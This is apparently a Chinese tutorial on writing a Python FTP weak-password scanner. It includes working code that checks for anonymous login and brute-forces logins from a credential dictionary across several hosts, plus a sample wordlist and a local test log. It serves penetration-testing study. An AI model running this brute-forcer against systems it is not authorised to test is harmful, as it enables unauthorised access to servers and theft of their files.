

Python 实现 FTP 弱口令扫描器

by: bird

1. 项目说明

本次项目通过使用 Python 实现一个 FTP 弱口令扫描器，学习 Python 渗透测试技术，项目涉及 FTP 协议原理，ftplib 库的使用等知识点。

项目参考自《Python绝技--运用Python成为顶级黑客》

2. 基础知识

FTP服务器

FTP服务器（File Transfer Protocol Server）是在互联网上提供文件存储和访问服务的计算机，它们依照FTP协议提供服务。FTP是File Transfer Protocol(文件传输协议)。顾名思义，就是专门用来传输文件的协议。简单地说，支持FTP协议的服务器就是FTP服务器。

FTP是仅基于TCP的服务，不支持UDP。与众不同的是FTP使用2个端口，一个数据端口和一个命令端口（也可叫做控制端口）。通常来说这两个端口是21（命令端口）和20（数据端口）。但FTP 工作方式的不同，数据端口并不总是20。这就是主动与被动FTP的最大不同之处。主要有两种工作模式：

- 主动FTP

FTP服务器的控制端口是21，数据端口是20，所以在做静态映射的时候只需要开放21端口即可，他会用20端口和客户端主动的发起连接。

- 被动FTP

服务器的控制端口是21，数据端口是随机的，且是客户端去连接对应的数据端口，所以在做静态的映射话只开放21端口是不可以的。此时需要做DMZ。

FTP扫描器实现方案

扫描匿名FTP

FTP匿名登录的扫描主要应用于批量扫描中，单独针对一个FTP服务器进行扫描的话成功几率比较小，不过也不排除成功的可能。很多网站都开放Ftp服务方便用户下载资源（这个允许匿名登录不足为奇），更疯狂的是网站管理人员为了方便网站访问软件的更新也开放了Ftp匿名登录（估计不是自己家的网站.....）。这样就给了我们很多机会，尤其后者的服务器

很容易就受到攻击

扫描FTP弱口令

FTP弱口令扫描其实就是暴力破解，为何不称为暴力破解呢？因为只是扫描一些简单的密码组合，并不是所有可能的密码组合

3. 开发步骤

FTP匿名扫描器的实现

这里要用到Python的ftplib库中的FTP这个类，FTP这个类实现了Ftp客户端的大多数功能，比如连接Ftp服务器、查看服务器中的文件、上传、下载文件等功能，接下来来定义anonScan(hostname)这个函数以实现扫描可匿名登录的Ftp服务器。

代码如下：

```
1 #匿名登录扫描
2 def anonScan(hostname):          #参数是主机名
3     try:
4         with FTP(hostname) as ftp:    #创建Ftp对象
5             ftp.login()                #Ftp匿名登录
6             print('\n[*] ' + str(hostname) + " FTP Anonymous login
7             successful!") #不抛出异常则表明登录成功
8             return True
9     except Exception as e:          #抛出异常则表明匿名登录失败
10        print('\n[-] ' + str(hostname) + " FTP Anonymous logon
11        failure!")
12        return False
```

代码很简短，主要在注释中解释了代码的含义。这里说一下这个函数的思路，首先用主机名构造了一个Ftp对象(即ftp)，然后用这个ftp调用不带任何参数的login()函数即表示要匿名登录这个Ftp服务器，如果登录过程中没有产生异常，则表明匿名登录成功，否则匿名登录失败！

FTP弱口令的扫描

FTP弱口令的扫描依赖于用户名和密码字典，字典格式如下：

```
ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
```

接下来针对字典中的格式来实现FTP弱口令的扫描，创建代码文件 `ftpScanner.py`，代码如下：

```
1 #暴力破解
2 def vlclLogin(hostname, pwdFile):          #参数(主机名，字典文件)
3     try:
4         with open(pwdFile, 'r') as pf:      #打开字典文件
5             for line in pf.readlines():      #循环读取字典文件中的每
一行
6                 time.sleep(1)                #等待1秒
7                 userName = line.split(':')[0] #从读取的内容中取出用户
名
8                 passWord = line.split(':')[1].strip('\r').strip('\n')
#从读取的内容中取出密码
9                 print('[+] Trying: ' + userName + ':' + passWord)
```

```

10         try:
11             with FTP(hostname) as ftp: #以主机名为参数构造Ftp对
象
12                 ftp.login(userName, passWord) #使用读取出的用
户名密码登录Ftp服务器
13                 #如果没有产生异常则表示登录成功，打印主机名、用户名
和密码
14                 print('\n[+] ' + str(hostname) + ' FTP Login
successful: ' + \
15                     userName + ':' + passWord)
16                 return (userName, passWord)
17             except Exception as e:
18                 # 产生异常表示没有登录成功，这里我们不用管它，继续尝试
其他用户名、密码
19                 pass
20         except IOError as e:
21             print('Error: the password file does not exist!')
22             print('\n[-] Cannot crack the FTP password, please change the
password dictionary try again!')
23             return (None, None)

```

这段代码其实就是循环从字典中读取用户名和密码并尝试登陆，登陆成功则表明找到用户名和密码。由于这个函数将主机名定义成了可以用“，”分割的字符串。找到密码并不会终止程序，而是会继续扫描其他主机的弱口令，直到所有的主机都扫描一遍

命令行解析

至此Ftp扫描器已经几乎完成了，代码并不多，也很简单。现在需要做的是让脚本可以处理命令行输入，以控制扫描哪些主机。处理命令行参数将用到Python中的argparse库，这个库是Python中自带的模块，处理命令行将变得非常简单，下面一起见证一下argparse的强大之处，先上代码：

```

1 # 这里用描述创建了ArgumentParser对象
2 parser = argparse.ArgumentParser(description = 'FTP Scanner')
3 # 添加-H命令dest可以理解为咱们解析时获取-H参数后面值的变量名,help是这个
命令的帮助信息
4 parser.add_argument('-H',dest='hostName',help='The host list with
", "space')
5 parser.add_argument('-f',dest='pwdFile',help='Password dictionary
file')
6 options = None
7 try:

```

```

8         options = parser.parse_args()
9
10    except:
11        print(parser.parse_args(['-h']))
12        exit(0)
13    hostNames = str(options.hostName).split(',')
14    pwdFile = options.pwdFile

```

通过argparse库来解析命令行参数，可以根据添加参数时指定的help关键字的内容来自动生成帮助文档

整个全部代码

基本的代码已经实现完成了，现在把上面的代码整合一下就可以了，代码如下：

```

1  #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3  from ftplib import *
4  import argparse
5  import time
6
7  #匿名登录扫描
8  def anonScan(hostname):                #参数是主机名
9      try:
10         with FTP(hostname) as ftp:      #创建Ftp对象
11             ftp.login()                 #Ftp匿名登录
12             print('\n[*] ' + str(hostname) + " FTP Anonymous login
13             successful!") #不抛出异常则表明登录成功
14             return True
15         except Exception as e:          #抛出异常则表明匿名登录失败
16             print('\n[-] ' + str(hostname) + " FTP Anonymous login
17             failure!")
18             return False
19
20 #暴力破解
21 def vlcLogin(hostname, pwdFile):        #参数(主机名, 字典文件)
22     try:
23         with open(pwdFile, 'r') as pf:  #打开字典文件
24             for line in pf.readlines(): #循环读取字典文件中的每
25 一行
26                 time.sleep(1)          #等待1秒
27                 userName = line.split(':')[0] #从读取的内容中取出用户
28 名

```

```

25         passWord = line.split(':')[1].strip('\r').strip('\n')
#从读取的内容中取出密码
26         print('[+] Trying: ' + userName + ':' + passWord)
27         try:
28             with FTP(hostname) as ftp: #以主机名为参数构造Ftp对
象
29                 ftp.login(userName, passWord) #使用读取出的用
户名密码登录Ftp服务器
30                 #如果没有产生异常则表示登录成功,打印主机名、用户名
和密码
31                 print('\n[+] ' + str(hostname) + ' FTP Login
successful: '+ \
32                     userName + ':' + passWord)
33                 return (userName, passWord)
34             except Exception as e:
35                 # 产生异常表示没有登录成功,这里我们不用管它,继续尝试
其他用户名、密码
36                 pass
37         except IOError as e:
38             print('Error: the password file does not exist!')
39             print('\n[-] Cannot crack the FTP password, please change the
password dictionary try again!')
40             return (None, None)
41
42 def main():
43     # 这里用描述创建了ArgumentParser对象
44     parser = argparse.ArgumentParser(description='FTP Scanner')
45     # 添加-H命令dest可以理解为咱们解析时获取-H参数后面值的变量名,help是这个
命令的帮助信息
46     parser.add_argument('-H', dest='hostName', help='The host list with
", "space')
47     parser.add_argument('-f', dest='pwdFile', help='Password dictionary
file')
48     options = None
49     try:
50         options = parser.parse_args()
51
52     except:
53         print(parser.parse_args(['-h']))
54         exit(0)
55
56     hostNames = str(options.hostName).split(',')
57     pwdFile = options.pwdFile
58     if hostNames == ['None']:

```

```

59     print(parser.parse_args(['-h']))
60     exit(0)
61
62     for hostName in hostNames:
63         username = None
64         password = None
65         if anonScan(hostName) == True:
66             print('Host: ' + hostName + ' Can anonymously!')
67         elif pwdFile != None:
68             (username,password) = vlcLogin(hostName,pwdFile)
69             if password != None:
70                 print('\n[+] Host: ' + hostName + 'Username: ' +
username + \
71                     'Password: ' + password)
72
73         print('\n[*]-----Scan End!-----[*]')
74
75
76 if __name__ == '__main__':
77     main()

```

4. 搭建环境测试

使用python的第三方库pyftplib

```
1 sudo pip3 install pyftplib
```

启动ftp服务器，输入如下命令：

```
1 sudo python3 -m pyftplib -p 21
```

这里默认是允许匿名登录

```
root@kali ~  
# sudo pip3 install pyftplib  
Collecting pyftplib  
  Downloading https://files.pythonhosted.org/packages/0d/64/eb0daca74956d0e6849b71c5ba99ab873ec59b888a1d7651d92fb686ee04/pyftplib-1.5.4.tar.gz (184kB)  
    100% |#####| 194kB 1.1MB/s  
Building wheels for collected packages: pyftplib  
  Running setup.py bdist_wheel for pyftplib ... done  
    Stored in directory: /root/.cache/pip/wheels/78/0b/fa/675c6bcf403c14217f13e4f6556518b369c0ab9eafda8bac85  
Successfully built pyftplib  
Installing collected packages: pyftplib  
Successfully installed pyftplib-1.5.4  
root@kali ~  
# sudo python3 -m pyftplib -p 21  
[I 2018-11-22 21:58:42] >>> starting FTP server on 0.0.0.0:21, pid=1897 <<<  
[I 2018-11-22 21:58:42] concurrency model: async  
[I 2018-11-22 21:58:42] masquerade (NAT) address: None  
[I 2018-11-22 21:58:42] passive ports: None  
[I 2018-11-22 22:02:00] 127.0.0.1:56484-[] FTP session opened (connect)  
[I 2018-11-22 22:02:00] 127.0.0.1:56484-[] FTP session closed (disconnect).  
[I 2018-11-22 22:02:38] 127.0.0.1:56486-[] FTP session opened (connect)  
[I 2018-11-22 22:02:38] 127.0.0.1:56486-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:28] 127.0.0.1:56490-[] FTP session opened (connect)  
[I 2018-11-22 22:05:28] 127.0.0.1:56490-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:29] 127.0.0.1:56492-[] FTP session opened (connect)  
[I 2018-11-22 22:05:29] 127.0.0.1:56492-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:30] 127.0.0.1:56494-[] FTP session opened (connect)  
[I 2018-11-22 22:05:30] 127.0.0.1:56494-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:31] 127.0.0.1:56496-[] FTP session opened (connect)  
[I 2018-11-22 22:05:31] 127.0.0.1:56496-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:32] 127.0.0.1:56498-[] FTP session opened (connect)  
[I 2018-11-22 22:05:32] 127.0.0.1:56498-[] FTP session closed (disconnect).  
[I 2018-11-22 22:05:33] 127.0.0.1:56500-[] FTP session opened (connect)
```

测试一下匿名登录

```
root@kali ~  
# python FTPScanner.py -H 127.0.0.1 -f pwd.txt  
[-] 127.0.0.1 FTP Anonymous login failure!  
[+] Trying: ftp:ftp  
[+] Trying: root:root  
[+] Trying: root:toor  
[+] Trying: admin:admin  
[+] Trying: geust:geust  
[+] Trying: admin:123456  
[+] Trying: charlie:brown  
[+] Trying: mickey:mouse  
[+] Trying: daffy:duck  
[+] Trying: 1012NW:bezoek  
[+] Trying: bugs:bunny  
[+] Trying: donald:duck  
[+] Trying: minnie:mouse  
[+] Trying: elmer:fudd  
[+] Trying: tweety:bird  
[+] Trying: alfonse:capone
```

5. 总结

实现Ftp弱口令扫描器，主要用到以下知识点：

FTP 服务器的基本概念

使用 FTPLib 如何一步一步的实现Ftp弱口令扫描器

使用 argparse 解析命令行参数

